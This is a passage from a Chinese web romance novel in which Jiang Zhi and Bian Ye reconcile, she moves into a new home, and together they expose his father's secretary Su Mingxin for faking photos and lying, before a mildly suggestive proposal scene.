他那时候甚至还没从重症监护室里出来。 “后悔什么?” 边野低声扬眉,伸手在她脸颊上轻轻捏了捏,指骨抬起她下巴,让她迎着自己的视线。 “如果一定要说后悔,也该是我没早早发现苏明歆的狼子野心。”害你陷入两难的境地。 这一次,他不会任由姓苏的再蹦跶,她也该尝尝作茧自缚的苦。 他眼瞳漆黑,却像一股暖泉将人包裹。 姜栀眼尾泛起红意,胸腔里一片潮湿,连呼吸都泛起涩意。 她微微垫脚搂住他,眼睫有轻微的湿润,但忍着没落泪。 边野瞳眸动了动,缓缓抬手抚着她纤薄的后背。 “边野。”她很轻地叫他,声音有点哑。 “嗯。”温温的一应。 “我好像亏欠你许多……” 边野抚着她脊背的动作顿了下,稍稍用力把人带进怀里,“嗯,所以要用一辈子补偿,知不知道?” “知道……” 低低软软的声音,听起来就很好欺负。 边野心口塌陷。 姜栀敛起情绪,松开他,“我们晚上要住这里吗?” “不是我们。” 她眨巴下眼,有点疑惑。 “是你。”他牵着她的手,缓缓摩挲圆润的指尖,“这里没有我的东西,只为你置办了日常用品,还有衣服鞋子。” 姜栀看了眼手表,有点迟疑,“可是好晚了……” 边野稍稍眯眼,逗她,“真留下我,就不怕我晚上对你做点什么?” “啊?”她愣了下,意识到他在说什么,脸颊一瞬蹿红,“……不、怕。” 但是这个年纪的男人需求度这么高吗,不是不久前才在车上过吗。 看她逞强,边野忍住了笑,“嗯,你先去洗澡,我让人送点用品过来。” “哦、好。” 洗澡的时候,热水冲下来,姜栀才发觉到,似乎是有点痛,但比较轻微,以至于先前都没感觉到。 也许水温刺激到了。 姜栀没在浴室里多待,冲了澡就出来。 桌上的袋子敞开着,她随意瞥了眼,除了衣物和洗漱用品,居然还有几盒计生用品。 “这么快就出来了?” 边野刚挂断电话,从阳台回来就看到她从浴室里出来。周然送来的袋子就随意放着,他还没来得及看。 “嗯。”姜栀低声应他。 想到刚刚洗澡时候传来的轻痛,纠结了下还是红着脸道:“今晚、今晚能不能不——” 最后一个字她始终说不出口,耳朵红得厉害。 “什么?”边野把手机放在桌上。 “就……”她低垂着眼睫只能实话实说,“有一点点痛,但是不严重,只是可能晚上不能、不能跟你……” 她说着,别过脸指了指那几盒计生用品。 边野顺着看过去,眉头忽然一蹙。 让送点正常用品都送点什么东西? 还一次性送这么多。 “我没让送这个。”他脸色微沉,把袋子往里扯了扯,他轻咳了一声,想起她刚说的,转头道:“你先上床休息吧。” 姜栀暗暗松了口气。 床上铺着松软的被子,她窝进去后看着雪白的天花板,只觉得梦幻。 感情真是个奇妙的东西,就在三小时之前,他们差点走向两个世界,但是现在却在同一个屋檐下,而且即将会躺在同一张床上。 她侧目看着卧室床头柜上摆着的台灯出神,边野什么时候洗漱完进来都没注意到。 直到他走到另一边,闯入她的视线中,姜栀才回过神。 被子掀开一角,男性荷尔蒙带着清透的水汽感扑面而来,她莫名有点紧张,握着被子的手微微收紧。 边野坐在床边,拿了一盒药拆开。 “过来点。”他低声开口。 “啊?”她一时没理解。 边野看她,眉眼温和,“不是有点不舒服吗,擦点药。”他说着从袋子里取出棉签。 意识到他在指什么,姜栀脸上浮起红晕,耳朵轻轻烧起来,“不、不用的,睡一觉就好了。” 他动作一顿,抬眼看她,“你的意思是,我以后只顾着自己舒服,可以随意对待你,并且让你自愈?” 姜栀愣了下,“……” 僵持了两分钟后,她败下阵来,“我自己来吧,也可以的。” “嫌弃我?”他挑眉。 “……没。” 拗不过他,姜栀红着脸掀开被子。 但此刻和在车上那会儿不一样,她实在有点没法面对,就干脆把脸别到一边,直接埋进了两个枕头之间的缝隙里。 清清凉凉的感觉传来,她羞窘地咬着唇瓣,浑身的神经都绷住了。 “这个力道还疼吗?” 姜栀恨不得捂住耳朵,这也要问吗? “看来是我的服务不够好——” “可以。”她闷闷出声。 边野看她鸵鸟一般的行为忍不住勾唇,几年不见怎么还是这么容易害羞。 药涂完,他转个身放东西的工夫,姜栀已经把人都埋在了被子里。 心脏怦怦直跳。 边野关了灯,只留了昏暗的地灯。 他在一旁躺下,伸手去拉她盖住脑袋的被子。 一下没能拉动。 “以后也不见人了?”他嗓音低磁,有种醇酿的好听。 姜栀闷闷“嗯”了一声,几秒后还是松了劲,任由他把被子从脑袋上拉下去。 碎发散在脸上,边野伸手温柔拨开。 这是第一次枕边有她的身影,不再是空荡荡的,要靠着吃药熬过漆黑的夜晚。她小脸素净,因为羞涩带来的红晕显得很是可爱,他没忍住捏了捏。 “脸皮这么薄,以后怎么办?” 姜栀很认真地思考了下,“那……你下次轻点。” 他笑起来,五官就柔和起来,没那么有攻击性,“好。” “过来点,让我抱会儿。” 边野把一只手落到她脑袋上方。 姜栀这回没再羞涩犹豫。 男人胸膛结实,身上都是精壮的肌肉,她被他的手臂搂着,只能看到他凸起的性感喉结。 眼眸微动,她伸手去搭他的腰,隔着睡衣也能感觉到火热的体温。 脑袋往他胸前蹭了蹭,像小猫似的。 “边野。”她轻轻叫他,明明抱着他抱得这样结实,可那种不真实感却比之前更重了,就好像明天早上醒来,身边空荡荡的,她也只是在自己租的房子里。 “嗯?”男人指腹摩挲着她腰上的软肉。 “等明天醒来,你还会在的吧?” 她听着近在咫尺的心跳声,不知道是自己的还是他的。 边野摩挲的动作一顿,这一刻他才意识到,原来不是只有他一个人没有足够的安全感,她也一样,像漂泊的猫,突然有了温馨的家,好吃的食物,都会怀疑大梦一场。 “会的。” 他微微低头,在她毛茸茸的发顶落下一吻。 姜栀缓缓弯起唇角,眼眸垂着。 “今晚不用吃药吗?” 边野神色温温,“你在的话,也许可以试着不去吃。” “那些日子没有你所以难熬,但现在你在身边,我甚至希望时间可以过得慢一点。” 姜栀眼睫颤了下,心口酸酸的。 她缓缓抬头,往后挪了点,去看他的脸,看他幽黑的眼睛。 “我还没有追过你呢。” 姜栀的眼睛带了点湿意,水洗一般清透纯净,令人看着忍不住沉溺其中,“这一次让我来追你好不好?” 边野看着吧,心口软得一塌糊涂,哪怕只能做个人偶也甘愿被她牵着走,无论去哪。 “好。”他声音很低,透着点哑意。 她笑起来,眉眼弯弯,又纯又甜,“还有件事我没有告诉你。” “什么?”他扬眉。 姜栀伸手轻轻捧住他的脸。 那双眼黑沉得像一望无际的深海,闪着星星点点的波光,令人沉醉。她一字一句,“我从未有一刻,动摇过对你的喜欢。” “不管是七年前还是现在,我一直、一直、喜欢着那个叫边野的男生,我生命里最重要的人之一。” 边野气息凝住,眼睫微动。 定定望着她,胸腔里的愉悦和涩楚交织缠绕。 他喉结滑动,什么话也说不出来,浓烈的激流堵在身体里四处乱窜,找寻着出口。他眸色暗了一瞬,翻身轻柔地吻住她,吻住那些破碎的曾经。 第60章 第 60 章 在边野的强烈要求下, 姜栀退掉了现在在租的那套房子。 好在她东西不是很多,找了个小面包货拉拉过来搬家。 她原本打算自己收拾,但边野说正好周末, 闲着不如陪她。 东西大多都收拾好了, 姜栀负责搬一些轻快的东西下楼, 边野替她打包剩余几个小箱子。连着大纸箱搬起来时, 一个没注意碰到了架子边的铁盒子, “哐当”一声掉下来。 边野把箱子放在一边, 去捡。 那个铁盒子不大, 里面没什么东西,只装了几封信,每一封上都写了他的名字。 指尖顿了下,他把信拿起来重新放进去。 只是在盒子关起来的一瞬,动作还是迟疑了下。 这些不曾寄出的信,会不会能窥见那些他没有参与过的过往。 那些她一个人度过的岁月。 垂落的视线盯了好一会, 他放弃了挣扎, 转身靠在了背后的书桌边沿,重新揭开盒盖。 里面一共有七封信。 信纸上字迹娟秀,清晰漂亮。 如同她这个人一样干净。 按照时间顺序,边野打开了第一封。 纸张被展开的轻窣声落下。 [展信佳。 今年是第一个没有陪你过生日的年,虽然已经没法在学校看到你了,但听说你现在和从前一样,吃喝玩乐过着每一天。 只要你健康平安就好,别的都不重要。 我只是有点想你。就在这里祝愿你一切都好吧。] 这一封是高三那年写的。 明明请了白司裴帮忙来推开他, 却还是在偷偷关心他。 [展信佳。 又一年秋天, 不知道你在国外过得好吗,吃得习惯睡得如何, 叔叔说你过年不会回来,也好,这里应该让你伤透了心。 学校里的生活很丰富,我也认识了很多很好的人,但是总觉得缺了点什么。 就当我是做梦吧,如果能有一天可以再相遇,一定要说说话,哪怕就一句。] 这是大一那一年。 …… [展信佳。 今年是我工作的第一年,算起来已经五年没有见过你了,不知道你在国外会做些什么工作。 同事们让我多认识一些异性,不要那么排斥,至少从朋友开始做起,我说好。这也许会是我写的最后一封信了。 过了今天就真的要放下你了。 愿你安宁幸福,遇见更好的人。] 七封信。 每一封都写在他生日那天。 透过信纸上娟秀的字迹,他好像能看见她在桌前伏笔书写的模样。 虽然相隔在两个不同的国度,但是不是也有那么一刻,对彼此的思念穿过时间与海岸,同时落在对方身上。 姜栀从楼下上来的时候正巧瞥见他拿着那些信,粉色的铁盒就搁在旁边的纸箱上,他垂着眼睫,看起来很专注。 那些她曾经写过的信,在去年尘封在盒子里的时候,其实没想过还有重新被拿出来的一天。 她一直记得他的生日,但分开以后,已经没资格也不被允许再去打扰他。毕竟她做得那样狠,没留余地。 这会儿看见他翻看这些信,姜栀有种淡淡的恍惚感。 她在门口停了会儿才走进去。 听见脚步声,边野从信纸上抬头,看到她的时候心底涌动着一股异样的情绪。 下一秒把信纸塞回去,“抱歉,搬箱子的时候不小心碰到,掉出来了。没有要窥探你的隐私,只是看到写了我的名字。” 姜栀没介意,眉眼温和地拿过铁盒打开,把他看过的信一一放进去。 “本来也是写给你的,不算隐私。” 她眼睫轻垂着,把盒盖盖上,然后翻出一个稍大的纸箱。 里面有个礼物包装盒。 拆开,七个大小不一的小盒子躺在里面。 “这些是之前准备给你的生日礼物,每过一年我就会往里面放一个,原来是真的以为不会再见天日了,”姜栀抬头看他,眼底有柔软的笑意,“但命运很神奇,让它们找到主人了,如果你想的话也可以拆开看看。” 边野低眸看着这些摆放整齐的盒子,心口塌陷下去,有什么东西空了,但很快又被填满,满到他找不到一处空隙。 漆黑的瞳眸里有细碎的光在流动。 那些睡不着的暗夜里,他曾无数次想到她,却又无数次自嘲只有自己旧情难忘,她根本不会念及自己。最后任由负面情绪越来越重,将他牢牢套住。 “姜栀。” 他声音低哑。 “……嗯?” “有想过给我打电话吗?哪怕只有一次。”他直视着那双清透干净的眼睛,从里面看见自己的身影。 姜栀把放信的盒子一并放进礼物箱里,片刻,才很轻地应了一声。 然后像是说给他听也像是说给这七年里任一时刻的自己听,“但我不能。” 边野沉默着没有说话。 许久,他才听到自己的声音,有点沉,“以后呢。” “什么?”姜栀没懂。 “以后还有这个荣幸收到姜女士的信吗?”边野黑眸浓稠,眼底余光都是她。 她眨了下眼,和缓又温柔地笑起来,眸光透着莹润的色泽,“嗯。以后一定让你亲自收到。” “一言为定。” “一言为定。” …… 货拉拉来的时候,边野正好抱着最后一个箱子下楼,姜栀检查了下,把门锁好,按照房东的要求把钥匙放在消防栓里。 跟在他身边一起下楼时,她忽然想起来,“你呢,要搬来一起住吗?” 边野力气大,搬着也不吃力,还有空逗她,“不是要追我,这么快就按捺不住了?看来我确实服务得很到位。” 姜栀嗔了他一眼,“大白天呢,不许白日宣.淫。” “好。”他把尾音拖得很长。 “你很难追吗?” 边野勾唇,“试都不试就开始盘问了?” 她抿嘴轻轻笑起来,“那……我要好好想想怎么追你。” 货拉拉速度很快,一整个下午边野都在帮着她收拾东西,本来是要叫个家政过来,但她觉得正好有时间,就拉着他一起了。 新家比租的房子大很多,两个人收拾完,边野接到个电话,就回公司处理公事去了。姜栀也没闲着,开始打扫卫生。 中途,她接到林主管的电话。 “小姜,明天你就可以回来上班了,这件事已经影响不到公司了,甚至还带来了合作,公司现在很需要你。” 林主管声音温柔,她擦桌子的手微微一顿,事情好像都在朝着好的方向发展起来,“谢谢林主管。” “谢我做什么。”林主管语气有点心疼,“那个录像拿得很不容易吧,这么大的事怎么都不跟我商量商量,你一个女孩子,还算运气好,运气再差点……” 她心底软软,“都过去了,以后我会注意的。” 林主管叹息了几句,到底也不再提。 “前两天我从老板那意外听到,芯耀的边总也出手了。”她忍不住八卦起来,“你们……是不是有新进展了?” 姜栀到底年轻,还有些不好意思,别开话题,“谢谢林主管关心,我明天会准时报道的。” 林主管也没为难她,叮嘱她几句后挂了电话。 新房离公司更近了些,只需要半个小时的路程,姜栀第二天去上班的时候,同事们都一个个过来恭喜她,实习的小朋友更是夸张,拿了柳条来给她去晦气。 唯独叶霜乔坐在工位上,脸色不是很好看。 姜栀笑得越开心,她心里越不是滋味。 好不容易才把人盼走,居然这么容易就回来了,命也太好了点。 尤其是周五开会的时候,她被林主管指着鼻子训,还拿姜栀给她做例子。姜栀姜栀,怎么处处都是姜栀,靠着美色骗来的业绩,有什么好值得骄傲的。 她不服,训斥她一百遍她也不服。 姜栀不是没注意到她幽怨的脸色,但也并不准备跟她打招呼。 工作而已,只要做好分内之事就好。 至于同事关系,尽她所能,多余的不强求。 刚回来,事情比较多,这两天总是加班到最后一个才走,好在边野似乎也很忙,没有来找她。 忙过了开头,周四那天,姜栀终于能准时下班。 好几天没见,她打算去芯耀接他下班。 地铁过去四十多分钟,姜栀刷手机的时候页面上方突然弹出来一条新闻。 [边氏秘书泄露商业机密究竟为何?] 边氏秘书? 是她知道的那个吗? 姜栀眼底闪过一丝疑惑,顺手点进去,大标题之下是密密麻麻的文字。 她一行行看过去,神色逐渐凝重。 文章大意为边氏秘书借着职务之变与对手公司私下见面,以商业机密作为筹码获取不义之财。 用词慷慨激昂,指责秘书既不遵守行业规矩,更对不起边氏的栽培,就差明着说人家是吃里扒外的白眼狼了。 如果一开始还不确定,那这些看下来已经无疑是苏明歆了。 思索了片刻,姜栀取了关键词去其余搜索软件上查,不出意外,底下近十条各式各样标题的新闻弹出来,传播的都是这件事。 她从软件里默默退出来,忽然明白为什么这几天边野只在睡前给她打个简短的电话,其余时间就跟消失了一样。 他没有告诉她,他要做什么。 私自用着自己的方式在保护她。 曾经愤怒时会动用拳脚的少年,如今已经成长为成熟的大人,有了担当,遇事也会冷静处理。 但依旧雷厉风行,依旧让人觉得安心。 这些天忙到连给她打电话都只能简单的说几句,他一定很辛苦。 可从未跟她说过只言片语。 心口一时间有些酸软,姜栀轻吸了口气。 她掐灭手机屏幕,从地铁里出去。 过马路的时候,有婆婆在卖花,满脸慈祥地问她要不要买一枝花送给爱的人,姜栀停下了脚步,选了一束白玫瑰。 她还没有送过他花。 和上次来不同,这回来她还没说要干嘛就被芯耀的人带进了电梯。上到总裁办,得知边野还没下班,姜栀打算在休息室里待一会。 但周然阻止了,她看了眼那束白玫瑰,笑得意味深长,“老板说了,姜小姐要是来,就直接去办公室。” 她愣了下,刚想说休息室也没关系,就听周然星星眼道:“老板一定很期待看见你。” 姜栀没再拒绝,冲她微微一笑,走过拐角,朝走廊里面过去。 临进门前,她隐约听到些声音,不是很清楚,但还是敲了敲。 门被人从里面打开。 随着里面的光线同时闯入眼底的,是边野那张刀削斧凿、雕刻般精致的脸庞,和上次分别时不一样,那双漆黑的眼里透着些疲倦与不耐,唇周的胡茬也长出来些,有点儿潦草。 看到她的一瞬,那些负面的、不爽的情绪顿时烟消云散。 也不顾及旁边还站着自己的亲生父亲和苏明歆,眼底透出宠溺的笑,“来之前怎么不给我说一声,都没收拾。” 姜栀扫了眼他身后的边政和苏明歆,还是决定先回答他的问题。她眉眼弯弯,纯粹干净,似乎能扫除一切阴霾,“你什么样我都接受。” 而后才去礼貌问候边政,略有歉意道:“你们先聊,我去外面等你。” 她刚准备走,手腕就被边野拉住。 男人嗓音温和,与刚刚面对边政时判若两人,“不用,没什么是你不能听的。” 边政看着两人亲密无间的模样,又看到她手里的花,再笨也知道怎么回事,他原本还在为他的态度恼怒,此刻哼笑一声,“你小子,看不出来这么痴情。” 怪不得回国就来盐城发展,愣是在短短几年内做出了成绩,还以为他终于有了事业心,原来还是为了女人。 以前真以为他们是小打小闹,到现在他竟然还有些说不出的感慨。 “边叔叔,我和边野——” 姜栀有些尴尬地解释,想把手抽回来,却被他握得更紧了。 “犯不着跟他说,这是我们自己的事。”他神色淡漠,似乎都没把边政放在眼里。 边政倒也没生气,反而有些欣慰,目光在两人之间扫动,最后停留在他身上,“既然又在一起了,这一次就好好的,你们都老大不小了。” “你以为谁都跟你一样,”边野面色冷淡,瞥了眼模样楚楚可怜的苏明歆,眼底泛着恶寒,“家里红旗不倒外面彩旗飘飘。” 边政眉头一皱,顺着他的眼神看向苏明歆,先是愣了一下,而后明白过来他在说什么,顿时黑了脸,“你瞎说什么,我跟苏秘书清清白白!你别给老子泼脏水!” 姜栀看了眼苏明歆,一副小女人的模样躲在边叔叔身后,红着眼眶,眼底的泪要落不落,看起来毫无攻击性。 可就在上周,她还在面馆里副趾高气昂地威胁自己。 “我是不是泼脏水,你心里比谁都清楚。之前我不说是给你最后一点面子,你为了这么个手段下三滥的女人不远千里找来,让我撤销对她的上诉,做了这么多年生意,你还真是越做越回去了。” 边野神色冷冽,毫不客气。 边政拧着眉,一脸不可置信,又气又无奈,“我从来就没有对不起过你妈!” 他咬牙,“苏秘书是小镇闯出来的,家里条件不好,我当初让她做秘书就是看中她这股向上的拼劲,但我们从来没有不正当行为,我要是有半个字说谎,让我出门就被车撞死!” 字字句句,掷地有声。 对峙里,气氛凝固。 空气里似有无形的硝烟。 边野眸光暗下去几分,定定望着他,审判的目光像是要将人穿透。 姜栀的视线从边政身上扫过,看向苏明歆。 如果边叔叔说的是真的,那撒谎的就是她了。 高二暑假回宿城的车站旁,苏明歆胸有成竹给出的那些照片、那些不清不楚的言语仍历历在目,现在却像个笑话一样砸在她头上。 “那孩子呢?”姜栀紧紧望着她,心底的怒意与不甘交织,“孩子是谁的?” 像个在黑暗里看到了光明不顾一切追寻的囚徒,哪怕已经知道那束光是假象。 边野偏头看她,双眼几不可察地眯了下。 她脾气很好,很少对人露出这种神情。 只迟疑了一瞬,他就明白了原因,握着她的手微微收紧。 在他看不见的地方,她到底受了多少委屈与苦楚。 边政眼底露出惊讶,似乎没想到她也会知道这事。 苏明歆眼见瞒不住了,往地上一跪,膝盖就磕在地板上,闷重的一声。 比起通过别人的嘴说出来,她不如自己先把苦诉上。 “孩子是我前男友的,跟边总没有任何关系。”她眼眶通红,眼底全是泪,“是我拜托边总不要说出去的,我前男友吃喝嫖赌,为了钱甚至还想杀我灭口,都是边总帮的我,我跟边总从来就没有不正当关系!是我、都是我贪心,是我不甘于做秘书想上位,这些年一直在故意模糊我们之间的关系。” 听到最后一句,边政的脸色也变了,眼底是不可置信。 这个在他面前百般悲惨的秘书,竟然从头到尾都打着这个心思。 难怪……难怪小野这么多年只要提到他对家里的付出,只要提到小黎,就满目讽刺,说的话一句比一句难听,父子关系摇摇欲坠,几乎在破裂边缘。 他一直以为小野只是单纯地怨恨他。 “你、你真是糊涂!” 边政脸色铁青,面上皱纹都变重了,“我看在你困难的份上给你一个向上的台阶,你就是这么报答我的?” 这话几乎是咬着牙说出来的。 只要一想到这些年父子俩冰冻似的关系,怒火就在心底盘旋直上。 边野面色冷冽,眼底有嘲色露出,像个旁观人似的看着这戏剧的一幕。 不知是笑这事儿过于荒谬还是讽刺沉浮了商海几十年的边政糊涂。 “所以照片是合成的。”姜栀低眸看她,已经没有半分疑问。 她竟然曾被这些虚假的照片震慑到,甚至怀疑过边叔叔会不会有了和苏明歆的孩子后会更加不爱边野。 如果她当初再勇敢点去求证…… “什么照片?”边政疑惑不解。 姜栀唇瓣动了动,刚想说什么就被苏明歆哭着打断,“是合成的,都是合成的,是我拿来骗人的,我也是没有办法了,如果不这么做,我根本保不住我的孩子!这事是我的错,但我已经知道错了。” 她说得含混不清,毫无重点,除了姜栀没人知道她在说什么。 苏明歆跪着去拉边野的裤脚,“求您大人大量,绕过我这一次,我不能去坐牢,孩子不能没有妈妈!” 哭得梨花带雨,我见犹怜,成功转移了边政的注意力。 他没再问照片的事,看向边野,“苏秘书虽然泄露了公司机密,但并不是什么重要的东西,也没有给边氏造成损失,现在这么一出也算是在这个行业里除名了,以后只要是正规点的公司都不会录用,她最多只能去做做餐饮服务行业或者辛苦的体力活。” 边政语气沉沉,心里诚然很生气她挑拨他们父子关系,但到底存了一丝仁善,“这个教训已经足够了,苏秘书跟了我十几年,看在她还有个孩子的份上,就撤诉吧。” 也许是年纪大了,少了些从前的狠辣。 边野轻嗤一声,抽开腿,厌恶之色溢于言表。 他看向边政的目光犀利锋锐,“您是来的时候把脑子撞坏了?这么喜欢做慈善家去别人那儿做去,我今天让她身败名裂与你没有任何关系。” “只是为了姜栀。” 站在他身侧的姜栀心脏漏跳一拍,抬眸去看他的脸,眉眼丰骏,轮廓凌厉,周身都透着冷意,但握着她的手却有温度。 只要他在,每一次都会毫不犹豫地站在她面前保护她。 不管是从前还是现在。 而她的男孩,也该有被保护的资格。 姜栀敛眸看向边政,神色认真。 “边叔叔知不知道,边野第一次骨折是谁做的?高二那年暑假差点要了他命的那场车祸,又是谁做的?” “您知不知道,是谁拿着跟您的合成亲密照逼着我离开他,只为了让他重新堕落? “那些他熬夜研究的试卷您看过吗,您知道他曾经为了学习有多努力吗? “他也曾想做一个优秀的人,凭什么要被别人因为自己的利益轻易剥夺。异国他乡的这么多年,他有多辛苦,您了解过吗? “他患上重症失眠,整夜整夜睡不着,吃了多少药才熬到今天,边叔叔,您真的有一刻认真关心过他吗?” 字字句句,敲入肺腑。 边政眉头蹙起,她每说一句面色便凝重一分,到最后心理防线几乎被击垮。 他难以置信地看着面前这个如今成长为令他骄傲、有面子的儿子,眼底涌动着复杂难言的情绪,像浪潮一样将他淹没。 这些过往他竟一点都不知道,他以为他的儿子不学无术,但至少过得快活,整天跟狐朋狗友混在一起能有什么烦恼,他从来不知道小野一个人咽下过这么多委屈。 五十多岁的老总,眼眶红了。 边野却没看他一眼,温和的视线始终落在她脑袋上,毛茸茸的,明明就是个温和的兔子,现在也学着会挠人的野猫,为他辩护。 边政深深吸了口气,转头看向跪在地上的苏明歆,怒意翻滚着在四肢百骸里乱窜,“这一桩桩一件件都是你做的?边氏对你不薄,你竟然想害死我唯一的儿子!” 苏明歆背后一凉,哭着摇头,“不!不是的!” “那场车祸我可以解释的,我没有让人撞小边总,那是个意外!” 边野冷嗤,瞳眸冰寒,“当然是个意外,如果我没有挡住,那躺在医院的就会是姜栀,你明知道她对我多重要,还要这么做,你该庆幸她没事。” “否则——” 他面上戾气毕露,像能把人撕碎的虎豹豺狼,“我当时就会弄死你。” 姜栀眼睫颤了下。 熨帖与酸涩细细密密地从心底蔓延上来,最后团在胸口,上下不得。 “你最好是现在就滚。” 他声音冰冷无温,不给半分余地,“不然我连带着你曾经做过的事一起上诉。” 苏明歆彻底慌了,哭着去拉边政的裤脚,“边总,您救救我!都是我以前鬼迷心窍,我保证以后绝对不会做这种事了!” “您救救我,我不能坐牢,我的孩子不能没有妈妈!” 她这会儿是真怕了,哭得毫无形象,撕心裂肺。 边政扯开她的手,连看都不愿看她一眼,牙根紧咬。 要不是看在她这么多年没有功劳也有苦劳和还没长大的孩子份上,他现在就会报警把她送进去。 她没办法,又去求边野和姜栀,哭着悔过,甚至给他们磕头。 可曾经做过的恶事不是几滴眼泪几句诉苦几个响头就能抵消的。 边野看得心烦,让保安把人拉走。 办公室里终于清净下来。 边野看着边政,毫不客气地赶人,“您要是没事,也可以走了。” 边政看着他,许多话堵在喉咙里,但好像说什么都不够去弥补他这些年来受的苦,胸口闷得难受。 “是我对不住你。” 如果他及时察觉到苏明歆的狼子野心,不至于让小野误会,如果他愿意多给这个孩子一点信任,他们之间的关系不至于像今天这样僵硬。 边政想起这些年,但凡提到这件事他便横眉冷目的样子,就觉得心底沉甸甸的。 在被模糊的真相里,他误解自己的父亲对家庭不忠对母亲不贞,可每次迎来的都是自己的训斥与指责。 他呼吸发重,到现在才意识到,自己这个父亲当的,太过失败。 “现在说这话,您不觉得晚了吗?” 他不是没有渴望过亲情,但在被无数次打碎重塑后,已经不抱任何期待。没再费口舌,他牵着姜栀错身而过,径直走出去。 没几步,身后传来沉迈的声音。 “以后要是有空……回宿城看看。” 透着疲惫闷重,仿佛一瞬间老了十几岁。 边野脚步没停,一路带着她去地库。 一声没吭。 安静得过分。 直到停在车前,姜栀拉了拉他的手。 边野偏眸看她。 “我来开吧。”她温声开口,朝他伸出手掌。 柔软的笑意挂在嘴角,似和煦的春风拂过面庞,让他在满是泥泞的冷意中感受到一丝温暖。 见他盯着自己不说话,姜栀故作不满嗔他,“该不会是不相信我的技术吧?” 边野笑着把钥匙放在她掌心里,“嗯,我的命可就交在你手里了。” “遵命。” 她眉眼弯弯去了主驾。 关了门,姜栀把那束白玫瑰递给他,“不知道边总喜欢什么,聊表心意。” 他低眸看着,唇角轻勾着接过,“还算新鲜。” “但是光这个可追不到我。” “是。” 姜栀边系安全带边拉长尾音,像在哄小孩,“我们边总这么优秀,当然要好好享受下被追的过程。” 边野握着那束白玫瑰,周身因这场闹剧而起的负面情绪像散去的雾霾逐渐消去踪迹。 姜栀这一次开得很稳。 他疲惫地靠在副驾上,双眼缓缓阖上。 开出地库,暮色夹着路灯光线洒在车上。 姜栀选了轻缓的音乐播放。 车内安静。 边野紧绷了许久的神经放松下来,却并没有倦意。 原本空荡的脑海里浮起黎女士放在满园主卧里的信件,那些被他刻意遗忘的内容像气泡一样接连冒出来。 姜远。 他记起这个名字。 “你父母是彼此的初恋吗?” 边野忽然出声,嗓音低淡。 姜栀愣了下,瞥了他一眼摇头,“我妈是,我爸不是。” “听我爸说,他在认识我妈前有过一任,后来因为家庭原因和平分手了,后来他们就各自结婚了。” “你见过你爸的前任吗?”他也不知道自己出于什么目的问出这种问题。 “没。” 她回头看他,“怎么突然问起这个?” 边野神色平静,“好奇吧。” 好奇她的父亲是个怎样的人,能让黎女士在婚后还念念不忘。 他原以为老东西婚内出轨,黎女士旧情难忘,从而造成了家庭的破裂。直到今天,他才知道边政并没有做对不起黎女士和这个家的事。 边野重新闭上眼,心口缓缓沉下去。 这些到底和姜栀没有关系,他们相识相知相恋,到最后分开,她都还没出生。他似乎还要感谢这个叫姜远的男人,教出这样一个优秀可爱的女孩儿。 他因为儿时的不幸福,把自己困了十三年。 怨恨、痛苦、憎恶。 这些东西差点毁了他。 雾霾弥漫的泥沼里,姜栀像一束明亮又温暖的光,执着且不懈地照亮他的一方天地,让他得以从里面挣脱出来。 这就够了。 到了家门口,姜栀轻轻推他。 边野缓缓睁眼,精神好了许多,笑着调侃:“技术越来越好了,又幸运地活了一天。” 她被逗笑,拉着他进去。 原本想去给他做顿饭,但看着他下巴上的胡茬,姜栀把人拉到了卫生间。 “怎么了?”他扬眉。 “给你收拾呀。”姜栀看到洗手台上剃胡须的用品,端详了片刻后拿过剃须泡沫,把人按靠在一边。 “会?”他眼里浮着笑,漆黑的瞳孔像星空。 姜栀摇摇头,“但我在电视剧里看过女主角给男主角用,我试试。” 边野也不阻止她,就这么安然靠着,目光温柔地落在她身上。 距离很近,他闻到她身上一点清甜的香气。 和上次比不太一样。 姜栀挤出泡沫,轻柔地涂抹在他唇周,神色认真又仔细。 涂完最后一点,她整体观赏的时候没忍住轻笑出声,面对他疑问的目光,一本正经地咳了下。 “有这么好笑?”边野神色宠溺。 她抿抿嘴,还是没忍住,“好像个白胡子老头……” 姜栀笑起来,肩膀都在轻颤。 他握住她纤细的手臂,稍微使了点力就把人往跟前带了点,在她毫无防备的时候,在她脸颊上轻蹭了下。 软软凉凉,她愣了一秒,皱着小脸嗔他,“你耍赖。” “嗯。”边野大方承认,眼底含笑,“就耍赖。” 姜栀眼巴巴看着他,忽然伸手在他腰窝处挠了下。 “嘶——” 他怕痒,没来得及躲,被她得逞,“人身攻击啊?” 姜栀还有点小骄傲,“这叫声东击西,兵不厌诈知道吗?” 边野点点头,笑着把剃须刀递给她。 “帮你未来的男朋友好好清理。” 姜栀还是第一次给人刮胡子,一边刮还要一边问他力道可不可以,细致得可爱。 最后用了毛巾替他擦拭了下巴后,她满意地欣赏了下,“我果然学什么都快,很完美。” 把毛巾放到一边,她洗了洗手,“你晚上想吃什么吗,我可以给你做。” “有。”他偏眸看着她。 “什么?”姜栀单纯地抬眼。 还没反应过来,腰际忽然一股重力传来,整个人倏地腾空。她吓了一跳,差点惊叫出声,下意识抓住他结实精壮的手臂。 直到稳稳坐在洗手台上,还有些惊魂未定。 “你这是——” 她不解地垂眸看他,眼睫纤长卷翘,一脸懵懂。 “不是问我吃什么吗?” 他微微仰头看她,眼底有几缕情绪涌动,很是浓稠。 姜栀眨巴着眼,眉心跳了下。 “你。” 他说完,喉结滑动了下,握着她一只手扣在整洁干净的镜子上,浓烈的男性荷尔蒙扑面而去。 不由分说、不可抗拒。 她像柔软的云朵,又带着抹清甜。 只是碰到,他便缴械投降。 安静的氛围里,两道气息浓烈地交缠着。 姜栀觉得自己像狂风暴雨里摇摇欲坠的野花,花瓣一片一片被打落。 “知知。”他抽空喊她,颗粒感的蛊惑嗓音。 “……嗯。” “喊我的名字。” 姜栀蹙了下眉,一时没应。 “乖,喊我的名字。”像海浪触礁,每一次都要掀起更高的浪花,在夜幕里透出绝色。 她被磨的没办法,时断时续地去喊,一声接一声,破碎得快要连不起来。 窗外的天际里似乎响起闷雷,边野摩挲着她的耳廓,声音沙哑得厉害,“跟我结婚好不好?” 她像喝了醇厚浓烈的酒,晕乎乎的,像藤蔓似的挂在他身上,“可是……我还没追到你呢。” 边野在她眼上落下一吻,抱她下来,让她看着镜子。 “姜栀——” 他从背后拥住她,沙哑沉醉的嗓音磨着她的耳鼓,“你只要招招手,我就会毫不犹豫地朝你奔来。” 热烈高涨的氛围里,她心脏重重地跳了下。 耳边是沉重低闷的气息,一遍遍拨动着她的心弦。 “我很想——” 他下巴搁在她肩窝里,浑身筋脉都在兴奋地颤动,“很想和你结婚,这些年里想了无数次。” 